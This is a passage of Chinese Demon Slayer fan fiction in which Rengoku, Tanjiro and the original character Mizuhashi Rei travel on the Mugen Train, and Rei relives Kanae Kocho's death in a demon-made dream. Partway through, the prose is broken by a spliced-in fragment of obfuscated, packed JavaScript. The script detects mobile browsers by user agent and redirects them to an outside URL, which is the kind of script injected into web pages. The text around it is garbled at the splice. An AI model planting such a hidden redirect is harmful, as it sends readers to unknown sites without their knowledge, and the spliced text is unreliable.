“啊,对不起善逸,我们加速吧!伊之助也不要再打我了、好痛!” “哼!谁会跟丢啊!就看本大爷的——猪突猛进!猪突猛进!” 【六十六】 好吵…… 水桥怜衣抬起手来,更用力地按了按额角。 现在的新人……真是吵死人了。 21.第二十一章 【六十七】 “说起来,水桥小姐为什么会被警方误认为是嫌疑人呢?” 无限列车上,灶门炭治郎带着几乎可以说是纯真的神情,如此向她发问了。 水桥怜衣闻言睁开了眼睛。 她无视了一边正伸出了手臂无声呐喊着“住口”整个人变成石雕再化作飞灰的黄毛少年,只定定地看着对面的灶门炭治郎。 花了三秒钟把“你找茬吗”咽了回去,水桥怜衣拧起了眉头,瞪向了炼狱杏寿郎。 “喂。”她恼火道,“既然是你要收的继子,你自己管好啊。” 在刚才从上车前到上车后的短短时间里,她已经见证了炼狱这家伙从不知道什么地方拿回来二十多盒便当→吃完全部便当→和三人聊天→把三人家底全部套出来→“你们三个都来做我的继子吧!”的全过程。 当初这家伙找上自己的时候好像也是这么一套流程……不行,不能细想。 至少自己没有被他把家底套出来,她还是赢了的。 总之,既然是他要收的继子!他就应该管管! “唔姆!”炼狱抱着双臂,很大声地应了一声,“因为怜衣小姐很容易被人误会!所以这也是常有的事!” ……是让你说这个吗你这混蛋! 水桥怜衣捏紧了拳头,用全力克制才没有上去给这天然黑大猫头鹰一拳。 “……是鬼做的。”她不怎么高兴地移开了视线,“这次碰上了一个喜欢杀女人的鬼,很擅长躲藏,我追了一整晚才把那家伙逮住。结果那个鬼居然有人类同伙,是他的家人还是什么的,一个劲儿地在那里说什么‘请饶恕他的性命’‘他不会再做了’‘请原谅我们我们真的知道错了’……白痴吗?那个鬼还在对着他流口水啊?” 水桥怜衣的脸不快地扭曲了一下。 “那个白痴非要护着那个鬼,我就只好把他一起打了。都怪那家伙耽误时间,害我被警察逮住了。” “鬼杀队可不能杀人啊,怜衣小姐,是违反队规的,而且犯法。”炼狱再次提醒。 “我知道。”水桥怜衣不高兴地抱起胳膊,扭过脸去,“所以那个白痴还有一口气在。” 炼狱杏寿郎看起来有点想叹气,但还是微笑着摇了摇头。 “诶?”灶门炭治郎挠了挠头,回忆着自己在警察局听到的闲话,露出了困惑的神情,“可是警察说水桥小姐会被抓是因为破坏建筑和损害公共财物……唔唔唔!” 我妻善逸一个箭步从旁边跳过来捂住炭治郎的嘴,不管是手背还是额头都青筋直跳。 “闭嘴啊你小子……”他发出恐吓的低音,瞪着他的时候用力到眼珠子都要脱出眼眶,“你不想活我还想!闭嘴闭嘴闭嘴你这笨蛋!” 水桥怜衣:“……” 她果然和炼狱的继子合不来!!! 炼狱杏寿郎发出了爽朗的笑声:“没办法,谁让怜衣小姐的招式里有好几招动静都很大呢!” 水桥怜衣:“……” 她就多余跟这几个人说话! “我要睡觉了。” 水桥怜衣把眼睛一闭,往窗边一靠,拢了拢羽织就打算睡过去算了,不过在最后关头她还是想起了什么,把自己的车票往炼狱那边一递,说了一声“到时候检票的来了你记得帮我交一下”,就闭上眼睛准备睡觉了。 “我知道了。”炼狱微微地笑着,从她手里拿过票,“辛苦了,好好休息吧,怜衣小姐。” 水桥怜衣把脸往羽织里埋了埋,自顾自地睡了。 【六十八】 列车还在平稳地行驶着,在车轮轧过铁轨的声响中,灶门炭治郎有点好奇地看着水桥怜衣。 “说到继子……水桥小姐没有继子吗?”他小声问炼狱杏寿郎。 “怜衣不收继子。”炼狱的声音也轻了一些,他说,“她的呼吸法只适合她自己,没有办法教给别人。” “原来是这样……”炭治郎点了点头,用手撑着下巴,模模糊糊地回想起了一些什么,“不过……我好像在哪里听过水桥小姐的名字……在哪里呢……应该是和‘呼吸法’有关的事……” 不是在和蝴蝶忍月下谈心之前,甚至不是在柱合会议上,应该是在那更早之前……更早…… “啊,是村田先生!” 炭治郎恍然大悟。 在那田蜘蛛山的时候,村田先生一边和鬼对抗一边喃喃着“要死要死在这里被干掉回去一定会被师姐杀掉的”“要说这就是师姐那个等级才能应对的情况吧根本不是我能够处理的吧”“不行不行不许说丧气话啊村田你这样才会被师姐杀掉啊”……以及最后让他和伊之助先走的时候大喊着什么“我可是通过了师姐的地狱训练的人——看招!”就冲向了被鬼操纵的人偶们。 不过正式听到水桥小姐的名字还是在蝶屋休养、村田先生来看望他们的时候。那时候村田先生一脸行将就木的神色,奄奄一息到了善逸都十分同情地给他递了杯水的程度。那个时候,村田先生用一种人之将死般的语气,说着“师姐已经从虫柱大人那里知道了我差点在蜘蛛山上被鬼用‘茧’溶解的事,特意写了信来给我呢”。 炭治郎那时从村田先生手中捏着的信纸上闻到了相当恐怖的味道,他一边想着好熟悉啊,一边好奇地抽出来看了一眼。 纸面上只有力透纸背的两个字——“过来”。 ……说真的,不会有比这更恐怖的信了。连钢铁冢先生谴责他断刀的来信都不能与之相提并论。别说笔锋了,连墨水里都浸透了杀意啊?! “我大概,是要死了吧。”村田先生带着一脸恍惚的微笑,“炭治郎,等到明年我的祭日时,你要记得去xx的xx帮我问候一下师父,和他说我努力过了哦……我真的拼死努力过了……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16906207|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看着说着说着就呜呜哭起来的村田先生,炭治郎顿时手忙脚乱地安慰起来,连他带来的探病礼物都连忙拿出来给对方吃了。 打断这一切的是来给他们换药的神崎葵,扎着双马尾的女孩子一看到村田就高高挑起眉毛来。 “啊,村田先生。”她不客气地说,“水桥大人正在找您呢。真是的,柱的工作很忙,不要让水桥大人久等啊!快点出去啦,训练要加油啊!” 村田先生“噫”了一声,顿时火烧屁股般跳起来跑了出去。 而神崎葵回过头看了一下他们三个,叉起腰来。 “你们三个也要好好加油,表现好的话,搞不好可以去水桥大人那里进行基础训练呢。”她用骄傲的语气说,“水桥大人很擅长杀鬼,所以会给好苗子做特别培训。能通过的话生存率都会上升的,要加油啊!” ……嗯,大概就是这样。 炭治郎停止了回忆,看向炼狱杏寿郎。 “原来如此。”也不知道炼狱在原来如此些什么,金红发色的男人目光炯炯地看向前方,“村田是怜衣小姐的师弟,她会特别关注他也很正常。放心吧,怜衣小姐虽然很严格,但一定会给村田留一口气的。” 好熟悉的说法啊…… 炭治郎的嘴角抽了抽。 她刚才提到那个鬼的帮凶时,是不是也说了一句“留一口气”来着?总感觉这是字面意义上的只留一口气啊? 村田先生,祝你好运。 在心里衷心祝愿了一下不知在何处的村田前辈之后,炭治郎又看了看对面的水桥怜衣,发现就是这么一会儿的功夫,她就已经睡熟了。黑色的长发披散在肩上,脑袋靠在窗边,胸膛随着均匀的呼吸起起伏伏。不知道是不是怕冷,她一只手还捏着羽织的衣襟,像是想要拢住自己那样,微微蜷缩着。 一旁的炼狱先生脱下自己的火焰纹样的羽织,站起身来,动作轻而稳地将那件羽织盖在了水桥小姐的身上,宽大的羽织环过她的肩膀,围住了她整个人,在全过程里都没有惊醒过对方,好像已经这样做过了许多次。 对上炭治郎的视线,炼狱先生微微地笑着,将食指竖在唇边,无声地比了个“嘘”。 炭治郎:“……” 哇啊,好温柔的味道。 炼狱先生和水桥小姐的关系一定非常好吧! 【六十九】 “请……出示一下车票。” 穿着乘务员的制服、形容枯槁的男人缓缓走到他们身侧,低声提醒道。 “哦,辛苦了。” 炼狱杏寿郎递出两张车票,“东京梦限”的字样,以及两张离得很近的车座位次数字印得格外清晰。 “我的同伴先睡了,请不要吵醒她。这是她的票,麻烦你了,检票员先生。” 男人只是沉默着,用剪票器在两张车票上剪下了小孔。 ——咔擦。 22.第二十二章 【七十】 “我做了一个梦。” 她对眼前的人这么说。 “是什么样的梦呢?” 蝴蝶香奈惠微笑着问。 “我梦见香奈惠大人死了。”她的目光停留在院落中翩飞的蝴蝶上,“忍过来告诉我,然后我知道了。我没有办法去葬礼,因为身上很痛,又没有力气。而且葬礼上应该去的都是您的家人吧?我不是那样的人,所以没有资格去。” “明明是我的继子?”香奈惠的声音里带了点无奈的意味。 “只是口头上那么提过吧?”她偏了偏头,“明明连一天都没有正式当过。” “在我心里小怜衣就是我的继子哦。”对方伸手摸了摸她的头,“就算只有一天,但是你能够答应我,我真的很高兴。” “但是忍小姐不是这样想的吧。”她让视线依旧停留在前方,“如果不是我,而是更能干的孩子来做香奈惠大人的继子就好了。” “让小忍听到这种话她可是会生气的喔。” 蝴蝶香奈惠又一次摸了摸她的头,美丽的眼睛带着点无奈地看她。 “你也知道吧,小忍很在乎你。对她来说你很重要,你能活下来对她也很重要。就算不是家人,但在她心里,你早就是很重要的朋友了。” “就算是我害死了香奈惠大人?” 水桥怜衣的目光终于转向了眼前的少女,永远停留在死去那一年的少女。 “那个时候,发现那个鬼的人是我。告诉香奈惠大人的人也是我。” 她想要笑,但不知道为什么,眼泪先一步滑下了脸颊。 “带着香奈惠大人找到那个鬼的人,也是我。” 【七十一】 水桥怜衣很容易找到鬼。 发现这一点的人并不是她自己,而是蝴蝶香奈惠。 不,或许炼狱杏寿郎也发现了吧,但是不知道为什么,他从来没有说出来过。 “你有着很棒的才能呢。” 那个时候,蝴蝶香奈惠捧着她的脸,看住那双眼睛,很高兴地对她说。 “真好啊——我都有点羡慕了。来做我的继子好吗?在小怜衣也成为‘柱’之前,我都会教导你,也会保护你的。” 那个时候,她的心变得轻飘飘的,脑袋里面也是轻飘飘的。对着那样的笑容,人会变得很难思考,所以她迷迷糊糊地点了头,迷迷糊糊地被对方牵着走。 “我会向主公大人提出正式申请的。”花柱大人握住她的手晃了晃,笑容也如花一般美丽,“在那之前你都跟着我吧?除了训练,见习的经验也是很重要的。” 水桥怜衣没有拒绝她。那时候的她,没有办法拒绝蝴蝶香奈惠。 之后很多年,她都在为此后悔。 【七十二】 用香奈惠大人的说法,水桥怜衣的眼睛是特别的。 她的眼睛,可以看到别人看不到的东西。 和蝴蝶姐妹收养的那个视力绝佳的小姑娘——栗花落香奈乎——那种超群的动态视力不一样,水桥怜衣的眼睛可以看到“额外的”东西。也就是常人的视野所看不到的东西。 即使是水桥怜衣自己,也说不出自己究竟看到了“什么”。 她只知道,她能看到,她就是知道。 鬼在哪里,鬼往哪个方向走,鬼会从什么地方开始攻击……她只要看到,马上就会知道。 所以水桥怜衣总是能够找到鬼,所以至今为止没有一只鬼能够逃脱她的追踪。 就连上弦之二,也是一样的。 只不过,在追踪到那只鬼之前,她们谁也不知道那就是上弦之二。 【七十三】 水桥怜衣偶尔会想……不,时常会想,要是自己没有看到就好了,要是那时候没有答应香奈惠大人就好了,要是……那时候自己更强一点就好了。 要是没有看到那个鬼留下的余香,就不会带着香奈惠大人追踪到上弦之二; 要是没有答应香奈惠大人,就不会去帮她追踪那个她一直找不到踪迹的食人鬼; 要是她再强大一点,没有在见到那个鬼的一瞬间就被砍穿肺部动弹不得,无法呼吸无法说话,甚至连警告香奈惠大人都做不到……要是她多保持一秒的意识,能够告诉香奈惠大人小心对方的血鬼术的话…… “那不是小怜衣的错哦。” 死去的少女用温柔的手捧起她的脸,看着她的眼睛,很认真地说道。 “那不是我们任何一个人的错。” 她想要笑,眼泪却更多地流了下来,落满了少女的手掌。 “香奈惠大人……果然会说这样的话。” 她说。 “嗯,不管要我说多少次我都会说的——那不是我们的错。” 对方松开手来,张开双手,把她抱进怀里。 “如果一定要说的话……就只是运气不好。” “只是……运气不好……吗?” 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——把死去的人托付给你的念想继承下去吧,怜衣。 ——你从蝴蝶小姐那里得到的信任,以及她对你的爱,还有温柔,你要延续下去,不可以忘记。 ——不要想着什么“如果死的是自己就好了”,蝴蝶小姐从来没有这么想过,不要用这样的想法去玷污她所拼命保护下来的、珍贵的、你的生命。 她从来没有想过……会听到这样的话。 “不管多少次我都会对你说的。” 蝴蝶香奈惠握住了她的手,无比认真地,看住了她的眼睛。 “你活下来真是太好了,小怜衣。” 早已死去的少女,对她绽开了无比美丽的笑靥。 “你还在这里,你依然活着,那就是我的胜利。” 【七十四】 “所以,醒过来吧。” “你已经发现了,这里是血鬼术所制造的梦境,不是吗?” 【七十五】 水桥怜衣忽然睁开了眼睛。 有温热的泪水,沿着她的面庞,大颗大颗地滑下。 ——嗯,她当然是知道的。 ——因为,只要看到了,就会知道。 “但是……” 她在心里轻声地对那个影子说。 “能够再见到香奈惠大人一次,我也很高兴。” 真的,非常的高兴。